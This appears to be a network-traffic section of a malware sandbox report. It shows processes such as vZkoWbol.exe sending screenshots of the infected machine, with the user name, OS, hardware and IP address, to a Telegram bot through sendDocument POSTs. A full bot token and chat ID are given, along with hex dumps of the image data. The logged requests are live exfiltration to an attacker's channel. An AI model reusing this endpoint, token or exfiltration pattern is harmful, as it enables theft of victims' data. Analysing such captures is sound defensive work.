2024-04-19 17:35:56 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:56 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:56 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:56 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:56 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:56 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 30 31 62 61 39 34 37 30 39 30 64 2d 2d 0d 0a Data Ascii: -----------------------------8dc801ba947090d--
2024-04-19 17:35:56 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:56 UTC	1485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:56 GMT Content-Type: application/json Content-Length: 1096 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3445,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548156,"document":{"file_name":"user-618321 2024-05-29 20-12-27.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg11ZiKrfBrDeNVRXA4jltK-_5PnAAG1AAK5FwACi1IZUW6icK9SLLRiAQAHbQADNAQ","file_unique_id":"AQADuRcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg11ZiKrfBrDeNVRXA4jltK-_5PnAAG1AAK5FwACi1IZUW6icK9SLLRiAQAHbQADNAQ","file_unique_id":"AQADuRcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINdWYiq3waw3jVUVwOI5bSvv-T5wABtQACuRcAAotSGVFuonCvUiy0YjQE","file_unique_id":"AgADuRcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/29/2024 20:07:25\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:03 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc781440ce2291 Host: api.telegram.org Content-Length: 67138 Expect: 100-continue
2024-04-19 17:36:03 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 31 34 34 30 63 65 32 32 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 31 34 34 30 63 65 32 32 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 39 2f 32 30 32 34 20 31 34 3a 34 34 3a 31 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc781440ce2291Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc781440ce2291Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/19/2024 14:44:15User
2024-04-19 17:36:03 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:03 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:03 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:03 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:36:03 UTC	1552	OUT	Data Raw: a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 02 4a 2a 3f 3e 1f f9 ea 9f f7 d0 a3 cf 87 fe 7a a7 fd f4 28 00 9f fe 3d e4 ff 00 74 ff 00 2a f9 e6 be 83 9a 68 8c 12 01 22 12 54 ff 00 10 f4 af 9f 2a e2 67 30 ad cd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a c3 a2 a8 83 73 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b0 e8 a2 80 0a 28 a2 98 05 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 ac 8a 29 01 a7 2e b9 Data Ascii: z(J?>z(J?>z(J?>z(J?>z(J?>z(J?>z(=th"Tg03<Xn!O=sS$?`;ucO(k\[/p(v).
2024-04-19 17:36:03 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 38 31 34 34 30 63 65 32 32 39 31 2d 2d 0d 0a Data Ascii: -----------------------------8dc781440ce2291--
2024-04-19 17:36:03 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:36:04 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:36:04 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3447,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548164,"document":{"file_name":"user-618321 2024-05-19 14-59-16.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg13ZiKrhLklJmH0vde4HngQgReObEUAArsXAAKLUhlRENuyLnpSwpcBAAdtAAM0BA","file_unique_id":"AQADuxcAAotSGVFy","file_size":12509,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg13ZiKrhLklJmH0vde4HngQgReObEUAArsXAAKLUhlRENuyLnpSwpcBAAdtAAM0BA","file_unique_id":"AQADuxcAAotSGVFy","file_size":12509,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINd2Yiq4S5JSZh9L3XuB54EIEXjmxFAAK7FwACi1IZURDbsi56UsKXNAQ","file_unique_id":"AgADuxcAAotSGVE","file_size":66515},"caption":"New SC Recovered!\n\nTime: 05/19/2024 14:44:15\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:36:10 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc84175737ff0b Host: api.telegram.org Content-Length: 67138 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:36:10 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 34 31 37 35 37 33 37 66 66 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 34 31 37 35 37 33 37 66 66 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 30 33 2f 32 30 32 34 20 32 31 3a 34 36 3a 33 30 0a 55 73 65 72 Data Ascii: -----------------------------8dc84175737ff0bContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc84175737ff0bContent-Disposition: form-data; name="caption"New SC Recovered!Time: 06/03/2024 21:46:30User
2024-04-19 17:36:10 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:36:10 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:36:10 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:36:10 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
